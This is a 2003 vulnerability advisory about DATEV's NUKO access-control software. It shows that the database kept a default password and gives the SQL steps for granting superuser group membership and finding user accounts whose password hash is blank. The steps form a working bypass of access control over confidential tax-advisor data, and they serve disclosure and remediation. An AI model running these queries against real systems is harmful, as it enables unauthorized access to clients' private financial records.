Topic: DATEV Nutzungskontrolle Bypassing

Release Date: 2003-10-31

Affected system:
================

- Nutzungskontrolle V.2.2
- Nutzungskontrolle V.2.1

Unaffected system:
==================

- none known

Summary:
========

DATEV eG is a German Company, which makes Software for tax advisors and

lawyers. The Nutzungskontrolle (NUKO) is a Software to restrict the
access for the users. For example, a normal user is not allowed to see

the internal reward accounting data. These data are restrictet by the

NUKO by, for example, blocking the "advisor number", which is used for

all data in the internal reward accounting.

Issue:
======

It is possible to find out simple or blank passwords in the NUKO, by

searching in the NUKO Database.

The Problem is that DATEV changed the default database password for all

their databases, except for the NUKO DB. At the moment the Sybase ASA

Database is used to manage this stuff. I will not write the login
password down here, because i think it is no problem to find this with

google.

1. First you have to add the default superuser to the group DATEV:

example:

GRANT MEMBERSHIP
IN GROUP DATEV
TO "the superuser login" (without "")

2. Then just make a query to the table u_nkw_passwords for the colum

nk_password to check where a password hash

3D7595A98BFF809D3D7595A98BFF809D3D7595A98BFF809D3D7595A98BFF809D

is.

example:

select nk_user_id from u_nkw_passwords where nk_password =
'3D7595A98BFF809D3D7595A98BFF809D3D7595A98BFF809D3D7595A98BFF809D'

3. Now query the user name of the nk_user_id.

example:

select nk_user_name from u_nkw_users where nk_user_id = 'one of the
userid from 2.'

4. Now you have a NUKO login with a blank Password.

Workaround:
===========

Change the default database password.
